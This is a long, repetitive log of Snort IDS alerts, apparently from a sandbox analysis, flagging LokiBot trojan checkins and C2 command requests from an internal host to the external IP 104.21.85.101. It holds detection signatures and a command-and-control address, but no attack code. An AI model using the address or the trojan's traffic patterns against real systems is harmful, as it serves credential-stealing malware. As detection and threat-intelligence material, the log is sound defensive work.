Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49738 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49738 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49738 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49739 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49739 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49739 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49739 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49739 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49740 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49740 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49740 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49740 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49740 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49741 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49741 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49741 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49741 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49741 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49742 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49742 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49742 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49742 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49742 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49743 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49743 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49743 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49743 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49743 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49744 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49744 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49744 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49744 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49744 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49745 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49745 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49745 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49745 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49745 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49746 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49746 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49746 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49746 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49746 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49747 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49747 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49747 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49747 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49747 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49748 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49748 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49748 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49748 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49748 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49749 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49749 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49749 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49749 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49749 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49750 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49750 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49750 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49750 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49750 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49751 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49751 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49751 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49751 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49751 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49752 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49752 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49752 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49752 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49752 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49753 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49753 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49753 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49753 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49753 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49754 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49754 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49754 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49754 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49754 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49755 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49755 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49755 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49755 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49755 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49756 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49756 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49756 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49756 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49756 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49757 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49757 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49757 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49757 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49757 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49758 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49758 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49758 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49758 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49758 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49759 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49759 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49759 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49759 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49759 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49760 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49760 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49760 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49760 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49760 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49761 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49761 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49761 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49761 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49761 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49762 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49762 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49762 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49762 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49762 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49763 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49763 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49763 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49763 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49763 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49764 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49764 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49764 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49764 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49764 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49765 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49765 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49765 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49765 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49765 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49766 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49766 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49766 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49766 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49766 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49767 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49767 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49767 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49767 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49767 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49769 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49769 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49769 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49769 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49769 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49770 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49770 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49770 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49770 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49770 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49771 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49771 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49771 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49771 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49771 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49772 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49772 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49772 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49772 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49772 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49773 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49773 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49773 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49773 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49773 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49774 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49774 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49774 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49774 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49774 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49775 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49775 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49775 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49775 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49775 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49776 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49776 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49776 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49776 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49776 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49777 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49777 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49777 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49777 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49777 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49778 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49778 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49778 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49778 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49778 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49779 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49779 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49779 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49779 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49779 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49780 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49780 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49780 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49780 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49780 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49781 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49781 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49781 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49781 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49781 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49782 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49782 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49782 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49782 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49782 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49783 -> 104.21.85.101:80
